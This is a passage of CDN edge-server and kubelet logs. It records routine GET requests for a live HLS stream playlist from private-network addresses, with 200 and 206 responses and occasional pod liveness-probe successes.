cdn-edge[7890]: 192.168.133.153 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:05 cdn-edge[7890]: 192.168.38.210 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:06 cdn-edge[7890]: 192.168.204.250 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:07 cdn-edge[7890]: 192.168.143.46 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:08 cdn-edge[7890]: 192.168.117.18 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:08 cdn-edge[7890]: 192.168.140.10 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:08 cdn-edge[7890]: 192.168.181.40 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:08 cdn-edge[7890]: 192.168.77.161 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:09 cdn-edge[7890]: 192.168.158.111 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.12.61 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.121.136 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.236.207 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.40.94 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.57.251 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:10 cdn-edge[7890]: 192.168.80.244 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:11 cdn-edge[7890]: 192.168.165.104 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:11 cdn-edge[7890]: 192.168.84.120 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:13 cdn-edge[7890]: 192.168.138.247 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:13 cdn-edge[7890]: 192.168.153.119 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:13 cdn-edge[7890]: 192.168.236.125 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:13 cdn-edge[7890]: 192.168.40.103 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:14 cdn-edge[7890]: 192.168.22.159 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:14 cdn-edge[7890]: 192.168.80.222 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:15 cdn-edge[7890]: 192.168.185.241 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:15 cdn-edge[7890]: 192.168.232.220 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:15 cdn-edge[7890]: 192.168.241.80 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:16 cdn-edge[7890]: 192.168.74.62 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:17 cdn-edge[7890]: 192.168.74.119 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:18 cdn-edge[7890]: 192.168.114.201 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:18 cdn-edge[7890]: 192.168.122.187 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:18 cdn-edge[7890]: 192.168.181.210 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:18 cdn-edge[7890]: 192.168.73.155 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:18 cdn-edge[7890]: 192.168.91.71 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:19 cdn-edge[7890]: 192.168.234.204 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:20 cdn-edge[7890]: 192.168.125.115 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:22 cdn-edge[7890]: 192.168.238.126 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:22 cdn-edge[7890]: 192.168.8.14 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:23 cdn-edge[7890]: 192.168.249.47 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:23 cdn-edge[7890]: 192.168.40.222 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:23 cdn-edge[7890]: 192.168.70.166 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:24 cdn-edge[7890]: 192.168.88.232 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:25 cdn-edge[7890]: 192.168.113.87 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:26 cdn-edge[7890]: 192.168.198.17 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:26 cdn-edge[7890]: 192.168.37.106 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:28 cdn-edge[7890]: 192.168.191.249 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:28 cdn-edge[7890]: 192.168.6.170 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:32 cdn-edge[7890]: 192.168.210.220 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:32 cdn-edge[7890]: 192.168.29.198 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:33 cdn-edge[7890]: 192.168.201.191 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:34 cdn-edge[7890]: 192.168.26.243 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:34 cdn-edge[7890]: 192.168.58.109 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:36 cdn-edge[7890]: 192.168.21.155 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:36 cdn-edge[7890]: 192.168.94.31 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:37 cdn-edge[7890]: 192.168.184.132 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:39 cdn-edge[7890]: 192.168.178.59 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:39 cdn-edge[7890]: 192.168.48.55 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:39 cdn-edge[7890]: 192.168.86.217 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:40 cdn-edge[7890]: 192.168.139.147 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:41 cdn-edge[7890]: 192.168.114.102 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:41 cdn-edge[7890]: 192.168.191.94 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:41 cdn-edge[7890]: 192.168.35.12 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:42 cdn-edge[7890]: 192.168.137.116 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:42 cdn-edge[7890]: 192.168.245.62 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:43 cdn-edge[7890]: 192.168.93.214 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:43 cdn-edge[7890]: 192.168.95.192 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:45 cdn-edge[7890]: 192.168.170.13 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:45 cdn-edge[7890]: 192.168.79.105 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:45 cdn-edge[7890]: 192.168.83.75 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:46 cdn-edge[7890]: 192.168.19.187 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:46 cdn-edge[7890]: 192.168.239.160 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:47 cdn-edge[7890]: 192.168.190.153 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:47 cdn-edge[7890]: 192.168.213.140 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:47 cdn-edge[7890]: 192.168.27.116 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:48 cdn-edge[7890]: 192.168.16.124 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:49 cdn-edge[7890]: 192.168.120.118 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:49 cdn-edge[7890]: 192.168.213.188 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:49 cdn-edge[7890]: 192.168.6.181 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:49 cdn-edge[7890]: 192.168.70.190 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.107.191 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.145.172 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.182.183 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.209.127 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.213.244 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:50 cdn-edge[7890]: 192.168.40.114 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:50 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:05:51 cdn-edge[7890]: 192.168.254.158 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:51 cdn-edge[7890]: 192.168.26.32 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:52 cdn-edge[7890]: 192.168.144.90 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:52 cdn-edge[7890]: 192.168.206.211 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:52 cdn-edge[7890]: 192.168.229.100 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:54 cdn-edge[7890]: 192.168.66.92 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:55 cdn-edge[7890]: 192.168.17.57 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:56 cdn-edge[7890]: 192.168.199.180 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:56 cdn-edge[7890]: 192.168.90.74 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:58 cdn-edge[7890]: 192.168.196.58 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:59 cdn-edge[7890]: 192.168.251.16 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:00 cdn-edge[7890]: 192.168.144.2 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:00 cdn-edge[7890]: 192.168.20.200 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:01 cdn-edge[7890]: 192.168.16.42 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:01 cdn-edge[7890]: 192.168.171.244 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:02 cdn-edge[7890]: 192.168.116.251 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:02 cdn-edge[7890]: 192.168.174.198 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:02 cdn-edge[7890]: 192.168.72.65 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:03 cdn-edge[7890]: 192.168.252.109 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:04 cdn-edge[7890]: 192.168.157.230 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:04 cdn-edge[7890]: 192.168.86.190 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:05 cdn-edge[7890]: 192.168.36.170 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:06 cdn-edge[7890]: 192.168.177.54 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:06 cdn-edge[7890]: 192.168.89.220 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:06 cdn-edge[7890]: 192.168.91.173 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:07 cdn-edge[7890]: 192.168.203.20 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:07 cdn-edge[7890]: 192.168.43.234 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:07 cdn-edge[7890]: 192.168.44.232 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:08 cdn-edge[7890]: 192.168.105.38 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:08 cdn-edge[7890]: 192.168.14.37 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:08 cdn-edge[7890]: 192.168.162.251 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:08 cdn-edge[7890]: 192.168.2.8 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:08 cdn-edge[7890]: 192.168.66.202 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:10 cdn-edge[7890]: 192.168.173.224 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:10 cdn-edge[7890]: 192.168.44.150 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:12 cdn-edge[7890]: 192.168.10.216 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:12 cdn-edge[7890]: 192.168.130.236 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:12 cdn-edge[7890]: 192.168.178.61 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:12 cdn-edge[7890]: 192.168.2.224 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:12 cdn-edge[7890]: 192.168.202.196 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:13 cdn-edge[7890]: 192.168.103.152 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:13 cdn-edge[7890]: 192.168.110.67 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:13 cdn-edge[7890]: 192.168.164.170 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:14 cdn-edge[7890]: 192.168.160.21 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:14 cdn-edge[7890]: 192.168.181.191 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:15 cdn-edge[7890]: 192.168.206.14 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:15 cdn-edge[7890]: 192.168.7.117 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:17 cdn-edge[7890]: 192.168.218.135 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:18 cdn-edge[7890]: 192.168.228.135 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:19 cdn-edge[7890]: 192.168.143.45 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:19 cdn-edge[7890]: 192.168.97.197 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:20 cdn-edge[7890]: 192.168.115.24 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:20 cdn-edge[7890]: 192.168.135.42 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:20 cdn-edge[7890]: 192.168.173.27 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:20 cdn-edge[7890]: 192.168.89.181 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:21 cdn-edge[7890]: 192.168.189.76 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:23 cdn-edge[7890]: 192.168.68.242 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:23 cdn-edge[7890]: 192.168.7.95 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:23 cdn-edge[7890]: 192.168.71.43 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:24 cdn-edge[7890]: 192.168.10.44 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:24 cdn-edge[7890]: 192.168.26.52 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:25 cdn-edge[7890]: 192.168.151.139 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:26 cdn-edge[7890]: 192.168.100.22 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:26 cdn-edge[7890]: 192.168.85.48 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:27 cdn-edge[7890]: 192.168.117.30 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:27 cdn-edge[7890]: 192.168.188.178 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:27 cdn-edge[7890]: 192.168.198.63 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:27 cdn-edge[7890]: 192.168.205.116 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:27 cdn-edge[7890]: 192.168.27.212 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:28 cdn-edge[7890]: 192.168.244.152 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:28 cdn-edge[7890]: 192.168.86.215 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:29 cdn-edge[7890]: 192.168.143.72 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:29 cdn-edge[7890]: 192.168.165.41 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:29 cdn-edge[7890]: 192.168.68.153 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:30 cdn-edge[7890]: 192.168.36.12 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:31 cdn-edge[7890]: 192.168.238.143 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:32 cdn-edge[7890]: 192.168.132.140 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:32 cdn-edge[7890]: 192.168.201.204 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:32 cdn-edge[7890]: 192.168.239.218 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:34 cdn-edge[7890]: 192.168.232.158 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:35 cdn-edge[7890]: 192.168.104.122 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:35 cdn-edge[7890]: 192.168.185.166 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:35 cdn-edge[7890]: 192.168.2.40 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:36 cdn-edge[7890]: 192.168.210.133 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:36 cdn-edge[7890]: 192.168.247.55 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:37 cdn-edge[7890]: 192.168.1.114 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:37 cdn-edge[7890]: 192.168.222.21 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:38 cdn-edge[7890]: 192.168.88.138 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:39 cdn-edge[7890]: 192.168.101.219 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:39 cdn-edge[7890]: 192.168.153.75 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:39 cdn-edge[7890]: 192.168.190.181 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:40 cdn-edge[7890]: 192.168.222.154 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:40 cdn-edge[7890]: 192.168.91.177 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:40 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:06:41 cdn-edge[7890]: 192.168.233.55 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:41 cdn-edge[7890]: 192.168.99.131 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:42 cdn-edge[7890]: 192.168.1.158 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:42 cdn-edge[7890]: 192.168.153.92 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:42 cdn-edge[7890]: 192.168.185.82 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:42 cdn-edge[7890]: 192.168.89.246 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:43 cdn-edge[7890]: 192.168.154.112 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:43 cdn-edge[7890]: 192.168.204.57 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:43 cdn-edge[7890]: 192.168.244.237 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:44 cdn-edge[7890]: 192.168.110.113 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:44 cdn-edge[7890]: 192.168.114.104 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:44 cdn-edge[7890]: 192.168.73.207 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:45 cdn-edge[7890]: 192.168.133.171 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:45 cdn-edge[7890]: 192.168.14.191 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:45 cdn-edge[7890]: 192.168.246.17 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:46 cdn-edge[7890]: 192.168.104.162 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:46 cdn-edge[7890]: 192.168.11.224 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:47 cdn-edge[7890]: 192.168.53.230 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:48 cdn-edge[7890]: 192.168.14.161 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:48 cdn-edge[7890]: 192.168.177.162 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:48 cdn-edge[7890]: 192.168.57.210 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:49 cdn-edge[7890]: 192.168.51.163 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:50 cdn-edge[7890]: 192.168.119.5 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:50 cdn-edge[7890]: 192.168.143.215 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:50 cdn-edge[7890]: 192.168.205.147 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:51 cdn-edge[7890]: 192.168.17.153 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:51 cdn-edge[7890]: 192.168.19.149 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:52 cdn-edge[7890]: 192.168.109.96 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:52 cdn-edge[7890]: 192.168.123.99 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:52 cdn-edge[7890]: 192.168.228.247 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:52 cdn-edge[7890]: 192.168.79.102 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:53 cdn-edge[7890]: 192.168.181.82 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:53 cdn-edge[7890]: 192.168.190.64 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:53 cdn-edge[7890]: 192.168.233.16 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:53 cdn-edge[7890]: 192.168.245.6 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:55 cdn-edge[7890]: 192.168.137.205 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:55 cdn-edge[7890]: 192.168.40.68 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:56 cdn-edge[7890]: 192.168.101.62 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:56 cdn-edge[7890]: 192.168.173.189 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:56 cdn-edge[7890]: 192.168.188.157 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:57 cdn-edge[7890]: 192.168.10.221 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:58 cdn-edge[7890]: 192.168.116.137 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:58 cdn-edge[7890]: 192.168.122.148 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:06:58 cdn-edge[7890]: 192.168.155.184 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:58 cdn-edge[7890]: 192.168.182.23 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:58 cdn-edge[7890]: 192.168.216.249 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:59 cdn-edge[7890]: 192.168.178.87 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:59 cdn-edge[7890]: 192.168.21.143 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:06:59 cdn-edge[7890]: 192.168.211.184 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:00 cdn-edge[7890]: 192.168.128.204 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:00 cdn-edge[7890]: 192.168.200.250 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:00 cdn-edge[7890]: 192.168.245.43 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:01 cdn-edge[7890]: 192.168.195.86 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:01 cdn-edge[7890]: 192.168.244.82 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:01 cdn-edge[7890]: 192.168.248.198 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:02 cdn-edge[7890]: 192.168.24.131 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:02 cdn-edge[7890]: 192.168.72.172 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:03 cdn-edge[7890]: 192.168.140.40 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:03 cdn-edge[7890]: 192.168.19.201 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:03 cdn-edge[7890]: 192.168.5.115 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:04 cdn-edge[7890]: 192.168.153.165 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:04 cdn-edge[7890]: 192.168.209.192 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:04 cdn-edge[7890]: 192.168.94.214 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:05 cdn-edge[7890]: 192.168.234.71 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:06 cdn-edge[7890]: 192.168.196.236 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:06 cdn-edge[7890]: 192.168.93.108 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:07 cdn-edge[7890]: 192.168.34.153 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:08 cdn-edge[7890]: 192.168.104.167 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:08 cdn-edge[7890]: 192.168.203.57 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:08 cdn-edge[7890]: 192.168.79.210 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:09 cdn-edge[7890]: 192.168.64.91 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:10 cdn-edge[7890]: 192.168.163.1 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:10 cdn-edge[7890]: 192.168.245.27 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:11 cdn-edge[7890]: 192.168.234.202 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:12 cdn-edge[7890]: 192.168.157.5 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:12 cdn-edge[7890]: 192.168.49.34 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:12 cdn-edge[7890]: 192.168.85.89 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:12 cdn-edge[7890]: 192.168.92.212 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:13 cdn-edge[7890]: 192.168.88.36 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:14 cdn-edge[7890]: 192.168.121.141 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:15 cdn-edge[7890]: 192.168.15.222 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:15 cdn-edge[7890]: 192.168.164.120 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:15 cdn-edge[7890]: 192.168.18.11 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:15 cdn-edge[7890]: 192.168.205.200 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:16 cdn-edge[7890]: 192.168.185.41 GET /live/stream.m3u8 